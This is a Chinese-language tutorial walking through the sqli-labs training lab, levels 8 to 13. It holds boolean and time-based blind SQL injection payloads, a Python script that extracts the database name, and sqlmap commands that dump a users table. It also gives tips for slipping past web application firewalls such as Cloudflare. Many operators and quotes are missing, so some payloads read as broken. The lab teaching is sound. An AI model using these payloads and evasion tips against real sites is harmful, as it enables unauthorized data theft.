ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

SQL注入盲注技术实战:从原理到sqli-labs通关

SQL注入盲注技术实战:从原理到sqli-labs通关 ## 1. 项目概述sqli-labs靶场通关实战 最近在复现sqli-labs靶场的less8到less13关卡时发现网上很多教程对盲注技术的讲解过于碎片化。作为渗透测试中最经典的SQL注入训练平台sqli-labs的盲注关卡特别适合用来理解不同注入场景下的攻击手法。本文将结合2026年最新的靶场环境详细拆解布尔盲注和时间盲注的完整攻击链。 注意所有实验均在本地搭建的测试环境进行严禁对未授权系统实施注入攻击 ## 2. 环境准备与基础认知 ### 2.1 靶场环境配置 推荐使用Docker快速部署实验环境 bash docker pull acgpiano/sqli-labs docker run -dt --name sqli-labs -p 80:80 acgpiano/sqli-labs访问http://localhost完成初始化后重点观察less8-less13的页面特征less8无错误回显的单引号字符型注入less9基于时间的单引号盲注less10双引号时间盲注less11-13POST型注入区别在于报错方式2.2 盲注技术核心原理与传统报错注入不同盲注场景下需要依赖布尔盲注通过页面返回内容差异判断条件真伪 and (select substr(database(),1,1))a --时间盲注通过响应延迟判断条件成立 and if(ascii(substr(database(),1,1))115,sleep(3),0) --3. 手工注入全流程解析3.1 less8布尔盲注实战闭合方式探测?id1 and 11 # 正常返回 ?id1 and 12 # 空返回确认存在单引号字符型注入数据库名爆破import requests charset abcdefghijklmnopqrstuvwxyz db_name for i in range(1,20): for c in charset: payload f1 and substr(database(),{i},1){c} -- if requests.get(fhttp://localhost/Less-8/?id{payload}).text: db_name c break print(db_name) # 输出security表名枚举技巧 and (select count(table_name) from information_schema.tables where table_schemadatabase())4 --通过二分法快速确定表数量后逐字符提取表名3.2 less9时间盲注突破当页面始终返回相同内容时?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))100,sleep(2),0) --关键判断依据响应时间超过2秒 → ASCII码大于100立即返回 → 条件不成立实战技巧使用Burp Suite的Intruder模块配合时间差值排序能显著提高效率4. sqlmap自动化利用4.1 基础探测命令sqlmap -u http://localhost/Less-8/?id1 --techniqueB --batch参数说明--techniqueB指定布尔盲注--batch自动选择默认选项4.2 高阶时间盲注配置sqlmap -u http://localhost/Less-9/?id1 --techniqueT --time-sec5 --level5关键参数--time-sec设置延时基准值--level提高测试强度4.3 数据提取优化sqlmap -u http://localhost/Less-10/?id1 --dump -T users --threads10通过多线程加速数据导出过程5. 防御方案与绕过技巧5.1 常见防护措施预编译语句最佳实践$stmt $conn-prepare(SELECT * FROM users WHERE id?); $stmt-bind_param(i, $id);输入过滤易被绕过$id str_replace(, , $_GET[id]);5.2 现代WAF绕过手法注释符变异/*!50000and*/11空白符替代%0Aand%0A11函数分割 and concat(substring(database(),1,1),a)sa6. 实战问题排查指南问题现象可能原因解决方案sqlmap检测不到注入动态token未处理使用--csrf-token参数时间盲注不稳定网络延迟干扰调整--time-sec值布尔判断失效页面有随机内容用--string指定特征字符串POST注入失败请求头不完整保存请求为文件后-r加载7. 个人实战心得对于less11的POST型注入建议先用Burp拦截修改请求保存为txt文件后交给sqlmap处理sqlmap -r request.txt -p username遇到Cloudflare等WAF时组合使用这些技巧往往有效降低检测级别--risk 1延长请求间隔--delay5使用非常规HTTP方法--methodPUT在CTF比赛中时间盲注的sleep函数可能被禁用可以改用benchmark函数制造延迟 and if(11,benchmark(10000000,md5(test)),0) --实际渗透测试中建议优先使用布尔盲注时间盲注容易对目标系统造成性能影响。记得在测试前后分别记录系统响应时间避免造成服务中断。
返回列表